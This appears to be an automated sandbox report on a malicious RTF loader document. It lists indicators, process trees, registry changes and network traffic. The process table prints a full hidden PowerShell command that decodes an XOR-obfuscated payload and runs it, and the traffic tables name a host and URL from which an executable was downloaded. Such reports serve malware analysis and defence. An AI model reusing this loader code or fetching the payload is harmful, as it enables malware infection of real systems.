| File name: | 583524278.doc |
| Full analysis: | https://app.any.run/tasks/142115c1-2d77-4f87-ab24-65f54a465674 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | July 18, 2019, 04:32:17 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | D71ECE9B762E3CDFF2ACD8CC058EA40C |
| SHA1: | 631A487320531DE0E0BB59D91DCCC7305FB5C782 |
| SHA256: | 5967CECCA69A0DCC326F4606F40AED778E489CA086EDBB7A3514C4291AC8AA5B |
| SSDEEP: | 3072:oHMAYDodWAYDodWAYDodWAYDodWAYDodHtxS:1AQdAQdAQdAQdAQaS |
MALICIOUS
Downloads executable files from the Internet
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2176)
Application was dropped or rewritten from another process
- l9137e5.exe (PID: 2372)
SUSPICIOUS
Executed via COM
- EXCEL.EXE (PID: 2184)
- EXCEL.EXE (PID: 2108)
- EXCEL.EXE (PID: 2580)
- EXCEL.EXE (PID: 1200)
- EXCEL.EXE (PID: 2880)
- excelcnv.exe (PID: 2948)
PowerShell script executed
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2560)
- powershell.exe (PID: 2176)
- powershell.exe (PID: 2868)
- powershell.exe (PID: 3020)
Executed via WMI
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2560)
- powershell.exe (PID: 2176)
- powershell.exe (PID: 2868)
- powershell.exe (PID: 3020)
Creates files in the user directory
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2560)
- powershell.exe (PID: 2176)
- powershell.exe (PID: 2868)
- powershell.exe (PID: 3020)
- cmd.exe (PID: 2156)
Reads the machine GUID from the registry
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2560)
- csc.exe (PID: 2332)
- csc.exe (PID: 2124)
- csc.exe (PID: 2484)
- powershell.exe (PID: 2176)
- powershell.exe (PID: 3020)
- csc.exe (PID: 2480)
- csc.exe (PID: 3060)
- powershell.exe (PID: 2868)
Executable content was dropped or overwritten
- powershell.exe (PID: 2772)
- csc.exe (PID: 2484)
- powershell.exe (PID: 2176)
Starts CMD.EXE for commands execution
- l9137e5.exe (PID: 2372)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3012)
- EXCEL.EXE (PID: 2184)
- EXCEL.EXE (PID: 2108)
- EXCEL.EXE (PID: 2580)
- EXCEL.EXE (PID: 1200)
- EXCEL.EXE (PID: 2880)
- excelcnv.exe (PID: 2948)
Reads the machine GUID from the registry
- EXCEL.EXE (PID: 2184)
- WINWORD.EXE (PID: 3012)
- EXCEL.EXE (PID: 2108)
- EXCEL.EXE (PID: 2580)
- EXCEL.EXE (PID: 1200)
- EXCEL.EXE (PID: 2880)
- excelcnv.exe (PID: 2948)
Reads settings of System Certificates
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2176)
Dropped object may contain Bitcoin addresses
- powershell.exe (PID: 2772)
- powershell.exe (PID: 2176)
Creates files in the user directory
- WINWORD.EXE (PID: 3012)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
EXIF
RTF
| Author: | Admin |
|---|---|
| LastModifiedBy: | Admin |
| CreateDate: | 2019:01:07 23:54:00 |
| ModifyDate: | 2019:01:07 23:54:00 |
| RevisionNumber: | 1 |
| TotalEditTime: | - |
| Pages: | 1 |
| Words: | - |
| Characters: | 4 |
| CharactersWithSpaces: | 4 |
| InternalVersionNumber: | 57435 |
Total processes
69
Monitored processes
25
Malicious processes
1
Suspicious processes
5
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1200 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.4756.1000 Modules
| |||||||||||||||
| 1628 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESB07B.tmp" "c:\Users\admin\AppData\Local\Temp\CSCB07A.tmp" | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.5003 (Win7SP1GDR.050727-5400) Modules
| |||||||||||||||
| 2108 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.4756.1000 Modules
| |||||||||||||||
| 2124 | "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\wz-ulcuc.cmdline" | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.5483 (Win7SP1GDR.050727-5400) Modules
| |||||||||||||||
| 2156 | "C:\Windows\System32\cmd.exe" /C type nul > "C:\Users\admin\AppData\Roaming\l9137e5.exe:Zone.Identifier" | C:\Windows\SysWOW64\cmd.exe | — | l9137e5.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2176 | powershell -WindowStyle Hidden function l44296 { param($p527e) $lbce3b = 'o18b65a';$c5237a8 = ''; for ($i = 0; $i -lt $p527e.length; $i+=2) { $d3e87 = [convert]::ToByte($p527e.Substring($i, 2), 16); $c5237a8 += [char]($d3e87 -bxor $lbce3b[($i / 2) % $lbce3b.length]); } return $c5237a8; } $r85637d = '1a42510c51153216424c075b0e141c5856051666181c455d0f1867140145510f531b2801455d105945320a434e0b55501254444b0b5852413c484b1653584f2b585905585a121b585b110d4012065f5f42654c121b54554c7f7a5a1a42510c51153216424c075b1b2f0a45036f3c45140d5d510116560d0e424b424c57570c070c004d6e25035d710f465a131b191a0953470f0a5d0b5014192401454a1b665a08014505407150153f4357017751051d544b11141c3c4f414d005a5c024f424c03425c024f54401653470f4f7856166641134f480e540e00550e19710c4265151d114b50020d5458051411424708015618090e56555a18033972590d265c480d4441494d5a5d1058500d5c031a4e16700f1b434132595c0f1b11054214790e0e55740b5447001d481a4b6b15111a53540b5515121b504c0b55150417455d10581528014568164415065a040006520c491c454a0b5852411b545d03070352460a63265a592802415710421d4304544a0c5359525d131442735b151d48680d5f5b1552136e0b4441140e5d68105941040c451a4b6b15111a53540b5515121b504c0b55150417455d10581503005e5442570d5457035e4a7f5b153f454a424351560c5514377f5b153f454a425a500209035c551a1514065f4c425d045258505d571a150e1a4518175f5b154f595e00530248546a7c0e5a7c0c1f5e4a161e172a0a4356075a06534155540e1419412a5f4c104f650e065f4c5f146715037c5714537804025e4a1b1419413c544c2e5746152a434a0d4408070e5d4b071f68411c4559165f56410a494c07445b41195e51061644025a520f4a7f5b153f454a425b01050a535a4e7f5b153f454a425d57525b55094e5f5b154f4b0e000402525e18031243570d065218114254150652180b5841411e020e065753034718432b5841311b4318100102550a52185f1652545a095c060f1d0d5b050a5b001d435f540d010257510d0000570705055f021a4b1f0e0809194a550101040c0c052b5841311b43163853470e464a5f0d425a410a085e00040c5a127856166641134f5f0b0407025c16070e5a03010047430f55025002435d0c56040c5747130a070356550d015a540300575f0108530106550b010c570600515e021a4b1f0e0809195651500456520c710c4265151d1f6207445a481456571659150456575a500f0e1c3a7856166641134f4b0c5752545652196d2b5841311b4311570d400801451807570c525e0405520d5c074710595a030d5309195651500456434b0c575254564301405606190e1a451807570c525e04114b4d520e1b5e18070f53035d08031f744c150a6a65424f53055b005d5f4d05195c0014524e53074301405b06485a265f4c324247411f525b5457082c0e434b0a57594f2e5d540d557d26035e5a035a1d52460a75034446090e5d162159451847485e06020404430114125556570e1d0b4b0d44025a520f4a5850164f785616664113475f0b0407024f3b5e710c420355471813524e05515e53114e465602595014511f0e0456575a500f0f4138545a215a5c04014518050400555652050c53424138545a215a5c040145104b0d46151d5856051657035b020f0005082401475110595b0c0a5f4c4c715015295e54065347310e45504a735b170643570c5b500f1b1f6b125356080e5d7e0d5a51041d1f79124659080c504c0b595b250e45594b1d173d335d01530502045a13130e020153560710400204545b05085201174854560a57020c024175571558590e0e557e0b5a504903050c500f03494d010f560301025e030c570653550a0508570500505f520d550204515b005c560e00575f020d550356510e0509570400565f57095b06055456045b520205005a070856060754570509570201515f061a4b1a57035b020f00051c5a3f4357015346123c455910427c0f095e1812070d070b55050c5342413f4357015346123c455910427c0f095e100054015258530b4b0d651300525d11451b321b504a161e455057575c061f0e130a454d10581551544c48175459080c114b165741080c114b16445c0f0811545602075859194b16445c0f0811555b550256464a4b16445c0f08114b50020d54580505405904590d070d03140e121b43510c5115065a040006520c5c3c454a0b58524f2a5c48164f0e070043100b584141060c08595f090c56520f5518790401564c0a0d5c4a52031119544c150a114154000d545b500521595b170a434c4c625a2316455d4a5b0c02580616314357121b43510c511d084303114e07034854560d570e5105561a054a555d001d18101b0003595a0559426815125d05005701013a475817501f15444f420a560e00565b1f7407585215076c11594b47041b444a0c1652545a095c060f0e1c12'; $r85637d2 = l44296($r85637d); Add-Type -TypeDefinition $r85637d2; [zb6c64b]::q36dafb(); | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2184 | "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" -Embedding | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Excel Exit code: 0 Version: 14.0.4756.1000 Modules
| |||||||||||||||
| 2332 | "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\admin\AppData\Local\Temp\jxsnj0ga.cmdline" | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Visual C# Command Line Compiler Exit code: 0 Version: 8.0.50727.5483 (Win7SP1GDR.050727-5400) Modules
| |||||||||||||||
| 2372 | "C:\Users\admin\AppData\Roaming\l9137e5.exe" | C:\Users\admin\AppData\Roaming\l9137e5.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: smoke Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
| 2460 | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\admin\AppData\Local\Temp\RESC0A8.tmp" "c:\Users\admin\AppData\Local\Temp\CSCC088.tmp" | C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe | — | csc.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft® Resource File To COFF Object Conversion Utility Exit code: 0 Version: 8.00.50727.5003 (Win7SP1GDR.050727-5400) Modules
| |||||||||||||||
Total events
5 784
Read events
4 996
Write events
752
Delete events
36
Modification events
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | zd2 |
Value: 7A643200C40B0000010000000000000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 2057 |
Value: On | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1324482602 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1324482686 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1324482687 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: C40B00008C5E4CD4213DD50100000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | .i2 |
Value: 2E693200C40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3012) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | .i2 |
Value: 2E693200C40B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
Executable files
3
Suspicious files
10
Text files
14
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3012 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR7C6A.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2184 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR9021.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2108 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR9A62.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2772 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R009GNMLXFSIQA2AP6Z6.temp | — | |
MD5:— | SHA256:— | |||
| 2580 | EXCEL.EXE | C:\Users\admin\AppData\Local\Temp\CVR9F54.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2332 | csc.exe | C:\Users\admin\AppData\Local\Temp\CSCA251.tmp | — | |
MD5:— | SHA256:— | |||
| 2332 | csc.exe | C:\Users\admin\AppData\Local\Temp\jxsnj0ga.pdb | — | |
MD5:— | SHA256:— | |||
| 2672 | cvtres.exe | C:\Users\admin\AppData\Local\Temp\RESA252.tmp | — | |
MD5:— | SHA256:— | |||
| 2332 | csc.exe | C:\Users\admin\AppData\Local\Temp\jxsnj0ga.dll | — | |
MD5:— | SHA256:— | |||
| 2332 | csc.exe | C:\Users\admin\AppData\Local\Temp\jxsnj0ga.out | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2772 | powershell.exe | GET | 200 | 107.172.13.106:443 | https://binaterynaaik.com/583524279.exe | US | executable | 419 Kb | unknown |
2176 | powershell.exe | GET | 200 | 107.172.13.106:443 | https://binaterynaaik.com/583524279.exe | US | executable | 419 Kb | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2772 | powershell.exe | 107.172.13.106:443 | binaterynaaik.com | ColoCrossing | US | unknown |
2176 | powershell.exe | 107.172.13.106:443 | binaterynaaik.com | ColoCrossing | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
binaterynaaik.com |
| unknown |
Threats
Process | Message |
|---|---|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\enumidentityattribute.cppĖ |
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\enumidentityattribute.cpp, line 144
|
csc.exe |
*** HR originated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\copyout.cpp, line 1302
|
csc.exe |
*** HR propagated: -2147024774
*** Source File: d:\iso_whid\amd64fre\base\isolation\com\enumidentityattribute.cpp, line 144
|